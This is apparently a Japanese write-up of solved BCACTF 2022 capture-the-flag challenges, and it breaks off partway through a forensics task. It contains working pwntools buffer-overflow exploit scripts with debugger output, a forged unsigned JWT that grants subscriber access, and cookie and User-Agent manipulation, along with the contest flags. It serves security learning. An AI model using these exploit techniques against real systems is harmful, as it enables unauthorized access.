この大会は2022/6/4 9:00(JST)~2022/6/7 9:00(JST)に開催されました。
今回もチームで参戦。結果は3850点で559チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。
Discord (misc 25)
Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。
bcactf{0bL1g4T0Ry_d15C0rD_ch4Ll_5jGsnoJn}
Intro 2 Pwn (binex 50)
マイナスの個数でハムスターを購入し、手持ちを増やし、フラグを購入する。
$ nc bin.bcactf.com 49181 Hi, welcome to Pwning 101. Your balance is $10. Please select an item: 1. Buy a hamster ($1) 2. Buy the flag ($100) (1 or 2)> 1 Amount? -90 Done, you now have -90 hamsters Hi, welcome to Pwning 101. Your balance is $100. Please select an item: 1. Buy a hamster ($1) 2. Buy the flag ($100) (1 or 2)> 2 Well... You've made it to the land of Pwn Here's your flag: bcactf{theysay_aflagisworth100hamsters_8e7389bc}
bcactf{theysay_aflagisworth100hamsters_8e7389bc}
BOF Shop (binex 75)
$ file bof-shop bof-shop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ef30bde17fa484e585f124d65974ac9d3bea6bf2, for GNU/Linux 3.2.0, not stripped $ checksec.sh --file bof-shop RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH bof-shop
BOFでbalanceが100になるようにする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('bin.bcactf.com', 49174) else: p = process('./bof-shop') balance = 100 payload = b'A' * 116 payload += p64(balance) data = p.recvuntil(b'> ').decode() print(data, end='') print(payload) p.sendline(payload) for _ in range(4): data = p.recvline().rstrip().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to bin.bcactf.com on port 49174: Done Hello there, welcome to the BOF Shop! What's your name? > b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd\x00\x00\x00\x00\x00\x00\x00' Your balance: 100 coins Wow. Here, take the flag in exchange for your 100 coins. bcactf{buFF3r_0v3rflow_M4D3_3asy_71f7e2} [*] Closed connection to bin.bcactf.com port 49174
bcactf{buFF3r_0v3rflow_M4D3_3asy_71f7e2}
Jump Rope (binex 125)
$ file jumprope jumprope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0143c656abd1b9927410b85b0e2adb9f414768a9, for GNU/Linux 3.2.0, not stripped $ checksec.sh --file jumprope RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH jumprope
BOFでa関数をコールする。
$ gdb -q ./jumprope Reading symbols from ./jumprope...(no debugging symbols found)...done. gdb-peda$ pattc 600 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs' gdb-peda$ r Starting program: /mnt/hgfs/Shared/jumprope Here at BCA, fitness is one of our biggest priorities! Today's workout is going to be jumproping. Enjoy! Better start jumping! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs Woo, that was quite the workout wasn't it! Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x2b ('+') RBX: 0x0 RCX: 0x7ffff7af2104 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7dcf8c0 --> 0x0 RSI: 0x7ffff7dce7e3 --> 0xdcf8c0000000000a RDI: 0x1 RBP: 0x4e73413873416973 ('siAs8AsN') RSP: 0x7fffffffdde8 ("AsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs") RIP: 0x401259 (<jumprope+61>: ret) R8 : 0x2a ('*') R9 : 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0) R10: 0x3 R11: 0x246 R12: 0x4010d0 (<_start>: endbr64) R13: 0x7fffffffded0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401252 <jumprope+54>: call 0x401080 <puts@plt> 0x401257 <jumprope+59>: nop 0x401258 <jumprope+60>: leave => 0x401259 <jumprope+61>: ret 0x40125a <main>: endbr64 0x40125e <main+4>: push rbp 0x40125f <main+5>: mov rbp,rsp 0x401262 <main+8>: mov rax,QWORD PTR [rip+0x2df7] # 0x404060 <stdout@@GLIBC_2.2.5> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdde8 ("AsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs") 0008| 0x7fffffffddf0 ("OAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs") 0016| 0x7fffffffddf8 ("slAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs") 0024| 0x7fffffffde00 ("AsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs") 0032| 0x7fffffffde08 ("SAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs") 0040| 0x7fffffffde10 ("sqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs") 0048| 0x7fffffffde18 ("AsVAstAsWAsuAsXAsvAsYAswAsZAsxAs") 0056| 0x7fffffffde20 ("WAsuAsXAsvAsYAswAsZAsxAs") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401259 in jumprope () gdb-peda$ patto AsjAs9As AsjAs9AsO found at offset: 520 $ ROPgadget --binary jumprope | grep ": ret" 0x000000000040101a : ret 0x00000000004012b2 : retf 0xfffd
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('bin.bcactf.com', 49177) else: p = process('./jumprope') elf = ELF('./jumprope') a_addr = elf.symbols['a'] ret_addr = 0x40101a payload = b'A' * 520 payload += p64(ret_addr) payload += p64(a_addr) data = p.recvuntil(b'jumping!\n').rstrip().decode() print(data) print(payload) p.sendline(payload) for i in range(6): data = p.recvline().rstrip().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to bin.bcactf.com on port 49177: Done [*] '/mnt/hgfs/Shared/jumprope' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Here at BCA, fitness is one of our biggest priorities! Today's workout is going to be jumproping. Enjoy! Better start jumping! b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xb6\x11@\x00\x00\x00\x00\x00' Woo, that was quite the workout wasn't it! bcactf{buff3r_0v3rfl0w_f4nct10n_j4mps_NfEgj4hg} Here at BCA, fitness is one of our biggest priorities! Today's workout is going to be jumproping. Enjoy! Better start jumping! [*] Closed connection to bin.bcactf.com port 49177
bcactf{buff3r_0v3rfl0w_f4nct10n_j4mps_NfEgj4hg}
Password Manager (rev 50)
HASHEDPWDを2桁ずつ区切り、対応するkeyを結合すればフラグになる。
#!/usr/bin/env python3 HASHEDPWD = '111210122915474114123027144625104141324527134638392719373948' key = { 'a':10, 'b':11, 'c':12, 'd':13, 'e':14, 'f':15, 'g':16, 'h':17, 'i':18, 'j':19, 'k':20, 'l':21, 'm':22, 'n':23, 'o':24, 'p':25, 'q':26, 'r':27, 's':28, 't':29, 'u':30, 'v':31, 'w':32, 'x':33, 'y':34, 'z':35, '0':36, '1':37, '2':38, '3':39, '4':40, '5':41, '6':42, '7':43, '8':44, '0':45, '_':46, '{':47, '}':48 } flag = '' for i in range(0, len(HASHEDPWD), 2): code = int(HASHEDPWD[i:i+2]) for k, v in key.items(): if v == code: flag += k break print(flag)
bcactf{5ecure_pa55w0rd_23rj13}
Ghost Game (rev 75)
サーバの処理概要は以下の通り。
・random.seed(123049) ・wins = 0 ・以下繰り返し ・usr_choice: 入力 ・usr_choiceが1の場合 ・comp_choice: -10000以上10000以下のランダム整数 ・comp_choice: comp_choiceを10で割った余り ・door_choice: 入力 ・door_choice == comp_choiceであればwinsが+1される ・usr_choiceが2の場合、終了 ・winsが10以上になったら、フラグが表示される。
seedがわかっているので、ランダム値を割り出しながら、答えていく。
#!/usr/bin/env python3 import socket import random def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) DOORS = 10 random.seed(123049) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('rev.bcactf.com', 49157)) for i in range(10): data = recvuntil(s, b'Quit\n').rstrip() print(data) print('1') s.sendall(b'1\n') comp_choice = random.randint(-10000, 10000) door_choice = comp_choice % DOORS data = recvuntil(s, b'?\n').rstrip() print(data) print(door_choice) s.sendall(str(door_choice).encode() + b'\n') data = recvuntil(s, b'Phew.\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
Welcome to Ghost Game! Win 10 times in a row for your reward. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 4 You chose door 4... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 2 You chose door 2... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 5 You chose door 5... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 7 You chose door 7... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 7 You chose door 7... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 5 You chose door 5... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 9 You chose door 9... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 0 You chose door 0... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 4 You chose door 4... You chose the right door and survived! Phew. 1. Play 2. Quit 1 You are presented with 10 doors, 9 are haunted and 1 will allow you to pass. Which will you choose? 0 You chose door 0... You chose the right door and survived! Phew. You must have insane luck! Here is your treasure: bcactf{SE3DS_r_SP0O00OKY_7ICI3C}
bcactf{SE3DS_r_SP0O00OKY_7ICI3C}
Glassed Over (rev 75)
各ピクセルで、以下の色を設定している。
・R:変更なし ・G:-68 ・B:-129 ・A:0~12のランダム値
RGBのみの設定で、Gは+68、Bは+129にして画像を元に戻す。
#!/usr/bin/env python3 from PIL import Image img = Image.open('modifiedflag.png').convert('RGBA') w, h = img.size output_img = Image.new('RGB', (w, h), (255, 255, 255)) for y in range(h): for x in range(w): r, g, b, a = img.getpixel((x, y)) output_img.putpixel((x, y), (r, g + 68, b + 129)) output_img.save('flag.png')
元の画像にフラグが書いてあった。
bcactf{b!gG3r_!mg_29354758}
Bit Shuffling (rev 100)
スクリプトの処理概要は以下の通り。
・order = [ 0, 1, 1, 0, 0, 0, 1, 0 ] ・deck: flagの2進数文字列のビット配列 ・deckを一定の規則でシャッフル ・deckの2進数を文字列化して出力
逆順に戻していけばフラグになる。
#!/usr/bin/env python3 with open('shuffled', 'rb') as f: enc = f.read() deck = bin(int.from_bytes(enc, byteorder='big'))[2:] while True: if len(deck) % 8 == 0: break deck = '0' + deck order = [ 0, 1, 1, 0, 0, 0, 1, 0 ] for i in order[::-1]: predeck = [-1] * len(deck) for j in range(len(deck) // 2): if i == 0: predeck[j] = deck[j * 2] predeck[j + len(deck) // 2] = deck[j * 2+ 1] else: predeck[j + len(deck) // 2] = deck[j * 2] predeck[j] = deck[j * 2+ 1] deck = predeck flag = int(''.join(deck), 2).to_bytes(len(deck) // 8, byteorder='big').decode() print(flag)
bcactf{D3R1FFLED_C8G3A2P47}
real deal html (webex 50)
HTMLソースを見たら、コメントにフラグが書いてあった。
bcactf{tH4TZ_D4_R34l_D3Al_cb8949}
Agent Rocket (webex 75)
HTMLソースを見ると、以下のコメント2つがあることがわかる。
<!-- The username should be "admin" --> <!-- The password should be "password" -->
admin / password でログインする。ログインしたページのHTMLソースを見ると、以下のコメントがある。
<!-- The name of the device is "BCACTF Rocket Control Panel" in case you forgot. -->
UserAgentに"BCACTF Rocket Control Panel"を指定して、ログインしてみる。
$ curl http://web.bcactf.com:49197/ -d 'username=admin&password=password' -A "BCACTF Rocket Control Panel" <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="stylesheet" href="global.css" /> <title>Agent Rocket</title> </head> <body> <div class="container"> <h1>Welcome back Admin!</h2> <p>Here is your flag: bcactf{u53r_4g3Nt5_5rE_c0OL_1023}.<br>You should be able to launch the rocket with this.</p> <!-- The name of the device is "BCACTF Rocket Control Panel" in case you forgot. --> </div> </body> </html>
bcactf{u53r_4g3Nt5_5rE_c0OL_1023}
Three Step Trivia (webex 100)
問題に答えていけば良さそう。
1問目の答えは7.75だがWebUIでは整数でしか答えられない。curlコマンドで答えていく。
$ curl http://web.bcactf.com:49207/ -d 'answer=7.75' Found. Redirecting to /7_75 $ curl http://web.bcactf.com:49207/7_75 <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="stylesheet" href="../style.css" /> <title>Three Step Trivia</title> </head> <body> <div id="imageGallery"> <img src="https://goodstock.photos/wp-content/uploads/2018/07/Old-Fancy-Marble-Stairs.jpg"> <img src="https://goodstock.photos/wp-content/uploads/2017/10/Stairway-Going-Down.jpg"> <img src="https://www.ghoofie.com/images/2011/06/Clasic-Stairs-Design-Ideas.jpg"> <img src="https://1.bp.blogspot.com/-p2nLDo_m9Uo/Tiulws30G3I/AAAAAAAAASg/d6CJQn2Bif8/s1600/Louvre+Spiral+Staircase.jpg"> <img src="https://cdn.decoratorist.com/wp-content/uploads/diy-basement-remodel-stairs-ideas-small-407070.jpg"> </div> <h2> I've had to visit many different URLs to find information about the longest staircase in the world, and if I were to walk up it, I will feel like I'm in an entirely different location. How many steps are there in this never-ending flight of steps? </h2> <h3 style="color:green">Step 2/3</h3> </body> </html>
2問目の答えは11674。
$ curl http://web.bcactf.com:49207/11674 <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="stylesheet" href="../style.css" /> <title>Three Step Trivia</title> </head> <body> <div id="imageGallery"> <img src="https://goodstock.photos/wp-content/uploads/2018/07/Old-Fancy-Marble-Stairs.jpg"> <img src="https://goodstock.photos/wp-content/uploads/2017/10/Stairway-Going-Down.jpg"> <img src="https://www.ghoofie.com/images/2011/06/Clasic-Stairs-Design-Ideas.jpg"> <img src="https://1.bp.blogspot.com/-p2nLDo_m9Uo/Tiulws30G3I/AAAAAAAAASg/d6CJQn2Bif8/s1600/Louvre+Spiral+Staircase.jpg"> <img src="https://cdn.decoratorist.com/wp-content/uploads/diy-basement-remodel-stairs-ideas-small-407070.jpg"> </div> <h2> Glass staircases are great, since they look like they are hidden. A famous one that I like is the 16th Avenue Tiles Steps. How many steps are in this mosaic masterpiece? </h2> <form action="/11674" method="post" onkeydown="return event.key != 'Enter';"> <input type="number" name="answer" /> <button type="submit" class="btn" style="visibility: hidden;">Submit</button> </form> <h3 style="color:green">Step 3/3</h3> </body> </html>
3問目の答えは163。
$ curl http://web.bcactf.com:49207/11674 -d 'answer=163' <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="stylesheet" href="../style.css" /> <title>Three Step Trivia</title> </head> <body> <div id="imageGallery"> <img src="https://goodstock.photos/wp-content/uploads/2018/07/Old-Fancy-Marble-Stairs.jpg"> <img src="https://goodstock.photos/wp-content/uploads/2017/10/Stairway-Going-Down.jpg"> <img src="https://www.ghoofie.com/images/2011/06/Clasic-Stairs-Design-Ideas.jpg"> <img src="https://1.bp.blogspot.com/-p2nLDo_m9Uo/Tiulws30G3I/AAAAAAAAASg/d6CJQn2Bif8/s1600/Louvre+Spiral+Staircase.jpg"> <img src="https://cdn.decoratorist.com/wp-content/uploads/diy-basement-remodel-stairs-ideas-small-407070.jpg"> </div> <h2>It appears that you are a staircase expert!</h2> <h2>Take your flag: <code>bcactf{sT41r_c4A3_m45T3R_5jfUn9Z}</code></h2> </body> </html>
bcactf{sT41r_c4A3_m45T3R_5jfUn9Z}
Cookies (webex 125)
Adminメニューを選択すると、ログイン画面になるので、HTMLソースを見る。さらにリンクされているjs/adminLog.jsを見てみる。
const unameElem = document.getElementById("uname"); const pwdElem = document.getElementById("pwd"); document.addEventListener('keyup', (e)=>{ switch (e.key) { case "Enter": handleInput(); break; } }); function handleInput() { let uname=unameElem.value; if (uname != "admin") { alert("You're not admin"); return; } let pwd = pwdElem.value; let encodedPwd = fancyEncode(pwd); setCookie("pwd", encodedPwd, 365); window.location.replace("adminEditor.html"); } //dont worry about the intricacies of the setCookie and getCookie functions //just understand what they do and how to use them function setCookie(name, value, days) { const d = new Date(); d.setTime(d.getTime() + (days*24*60*60*1000)); let expires = "expires="+ d.toUTCString(); document.cookie = name + "=" + value + ";" + expires + ";path=/;"; } function getCookie(cookiename) { let name = cookiename + "="; let decodedCookie = decodeURIComponent(document.cookie); let ca = decodedCookie.split(';'); for(let i = 0; i <ca.length; i++) { let c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1); } if (c.indexOf(name) == 0) { return c.substring(name.length, c.length); } } return ""; } function fancyEncode(str) { let newString = ""; for (i=0;i<=str.length-1;i++) { newString += str.charCodeAt(i) + "e"; } return newString; }
ユーザ名は"admin"である必要があるが、パスワードに制約はなさそう。Web画面上ユーザ名はGuestで固定になっているがブラウザのデベロッパーツールで"admin"にして、適当なパスワードでログインする。
真っ白な画面に遷移するので、HTMLソースを見る。さらにリンクされているjs/editor.jsを見てみる。
if (getCookie("pwd") == "98e99e97e99e116e102e123e117e36e101e114e115e95e115e51e51e95e99e48e48e107e33e101e115e95e55e111e111e95e56e54e51e111e52e116e53e125e") { window.location.replace("flag.html"); }
パスワード入力した文字列で、各文字ごとにASCIIコード+"e"の形式で結合され、クッキーに設定されるので、以下の文字列からパスワードを復元する。
98e99e97e99e116e102e123e117e36e101e114e115e95e115e51e51e95e99e48e48e107e33e101e115e95e55e111e111e95e56e54e51e111e52e116e53e125e
bcactf{u$ers_s33_c00k!es_7oo_863o4t5}
Jason's Web Tarot (webex 150)
[View Card]でhttp://web.bcactf.com:49201/card.htmlに遷移する。[Pull Card]を何回か押すと、クッキーのtokenに以下の値が設定されていた。
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc1N1YnNjcmliZXIiOmZhbHNlLCJpYXQiOjE2NTQzMDA1NzR9.
$ echo eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0= | base64 -d {"alg":"none","typ":"JWT"} $ echo eyJpc1N1YnNjcmliZXIiOmZhbHNlLCJpYXQiOjE2NTQzMDA1NzR9 | base64 -d {"isSubscriber":false,"iat":1654300574}
"isSubscriber"をtrueにしてエンコードする。
$ echo -n '{"isSubscriber":true,"iat":1654300574}' | base64 eyJpc1N1YnNjcmliZXIiOnRydWUsImlhdCI6MTY1NDMwMDU3NH0=
以下の値をクッキーのtokenに設定してリロードすると、フラグが表示された。
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc1N1YnNjcmliZXIiOnRydWUsImlhdCI6MTY1NDMwMDU3NH0.
bcactf{n0_s3cr3t5????!!!?!_38893}
Broken Image (foren 50)
バイナリエディタで添付のファイルを見ると、PNGの形式になっている。拡張子をpngに変更し、適当なビューアで見ると、フラグが書いてあった。
bcactf{br0k3n_1m4g3_4nd_1m4g3_4nd_1m4g3}
My New Friend (foren 75)
$ zsteg zimage.png b1,r,lsb,xy .. text: "63z_^gvrqFY@" b1,rgb,lsb,xy .. text: "bcactf{h15_n4m3_15_g3rb3rt_4798jU}" b2,r,msb,xy .. text: "UUUUUUUT" b2,g,msb,xy .. text: "UU@UUUUUUUUU" b2,rgb,msb,xy .. text: "DUUUUUUA" b2,abgr,msb,xy .. text: "GGGGGGGGWWW" b4,r,lsb,xy .. text: "UE3EVEWfvgwfgg" b4,r,msb,xy .. text: "D\"bf\"B$\"D$f" b4,g,lsb,xy .. text: "\"434DDDDDDfh" b4,g,msb,xy .. text: ",\"\"\"\"\"\"f" b4,b,lsb,xy .. text: "EE\"TGTFvgvggww" b4,b,msb,xy .. text: "f&\"\"\"\"\"fffff" b4,rgb,lsb,xy .. text: "GEu7#rGUdYF" b4,bgr,lsb,xy .. text: "GEu'2sWDeIW" b4,bgr,msb,xy .. text: "F`D!R&e6a" b4,rgba,lsb,xy .. text: "4/WOX_GOW_7/7/G_VOYOi" b4,abgr,msb,xy .. text: "OFOF/&/!/!oaoeoeO!O!O!" ||, >| <b>bcactf{h15_n4m3_15_g3rb3rt_4798jU}</b> |< * Superglue (foren 125) >|sh| $ binwalk chall DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 441 0x1B9 PNG image, 27 x 5, 8-bit/color RGB, non-interlaced 980 0x3D4 GIF image data, version "89a", 27 x 5 $ foremost chall Processing: chall |*|
jpg、png、gifを抽出することができた。それぞれ小さい画像だが、フラグの破片を見ることができる。バイナリエディタで見ると、gifの後ろにwebpがくっついているので、切り取り画像を見てみる。
jpg: bcactf{ png: ch3_2_c gif: o_to_d1 webp: 55olv3}
bcactf{ch3_2_co_to_d155olv3}
.bcapng (foren 150)
_区切りで幅、高さ、データの構成になっていると推測できる。データは0, 1だが、そのまま指定の幅と高さになるよう改行を入れる。
#!/usr/bin/env python3 with open('chall.bcapng', 'r') as f: data = f.read()[1:-1] data = data.split('_') width = int(data[0]) height = int(data[1]) data = data[2] assert width * height == len(data) for i in range(0, len(data), width): print(data[i:i+width])
実行結果は以下の通り。
11111111111111111111111111111111111111111111111111111111111111111 10011111111111111111111111111111111111111111111111111111111111111 11011111111111111111111111111111111111111111111111111111111111111 11011111111111111111111111111111111111111111111111111111111111111 11000001110000011100001111000001111111111111111111111111111111111 11011110101111101111110110111110111111111111111111111111111111111 11011110101111111100000110111111111111111111111111111111111111111 11011110101111111011110110111111111111111111111111111111111111111 11011110101111101011110110111110111111111111111111111111111111111 10000001110000011100001011000001111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111100111111100110000001111000111000000011111111111111111 11101111111011111111011111011110110111011011011011101111111111111 11101111111011111111011111011110111111011111011111101111111111111 11000011110000111111011111011110111111011111011111000011111111111 11101111111011111111011111000001111100111111011111101111111111111 11101111111011111100111111011110111111011111011111101111111111111 11101111111011111111011111011110111111011111011111101111111111111 11101101111011111111011111011110110111011111011111101101111111111 11110011110000111111011110000001111000111110001111110011111111111 11111111111111111111011111111111111111111111111111111111111111111 11111111111111111111100111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11100011111111111111111111111111111111111111111111111111111111111 11011101111111111111111111101111111111111111111111111111111111111 11111101111111111111111111101111111111111111111111111111111111111 11111101100010011111111111000011111111111111111111111111111111111 11110011111001101111111111101111111111111111111111111111111111111 11111101111011111111111111101111111111111111111111111111111111111 11111101111011111111111111101111111111111111111111111111111111111 11011101111011111111111111101101111111111111111111111111111111111 11100011100000111111111111110011111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111111110000000011111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 10001000111110111001100011111111111111111111111111100001111111111 11011101111100111101110111111111111111111111111111011110111111111 11011101111100111100110111111111111111111111111110111111111111111 11011101111010111100110111111111100000011001001110111111111111111 11000001111010111101010111111111110111101100110110111111111111111 11011101110110111101100111111111110111101101110110111000111111111 11011101110000011101100111111111110111101101110110111110111111111 11011101111110111101110111111111110111101101110111011110111111111 10001000111100011000110111111111110000011000100011100001111111111 11111111111111111111111111111111110111111111111111111111111111111 11111111111111111111111100000000100011111111111111111111000000001 11111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11000001111100111111101111111111111000011111111111111111111111111 11011111111011111111111111111111110111101111111111111111111111111 11011111110111111111111111111111101111111111111111111111111111111 11011111110111111100001110001000101111111111111111111111111111111 11000011110000111111101111011101101111111111111111111111111111111 11111101110111011111101111011101101111111111111111111111111111111 11111101110111011111101111101011101111111111111111111111111111111 11011101110111011111101111101011110111101111111111111111111111111 11100011111000111111101111110111111000011111111111111111111111111 11111111111111111111101111111111111111111111111111111111111111111 11111111111111111100011111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11110011111000111000000111001111111111111111111111111111111111111 11101111110111011101111011110111111111111111111111111111111111111 11101111110111011101111011110111111111111111111111111111111111111 11000011110111011101111011110111111111111111111111111111111111111 11101111111000011100000111110111111111111111111111111111111111111 11101111111111011101111111111001111111111111111111111111111111111 11101111111111011101111111110111111111111111111111111111111111111 11101111111110111101111111110111111111111111111111111111111111111 11000011111001111000011111110111111111111111111111111111111111111 11111111111111111111111111110111111111111111111111111111111111111 11111111111111111111111111001111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111 11111111111111111111111111111111111111111111111111111111111111111
少し読みにくいので別の文字に置換する。
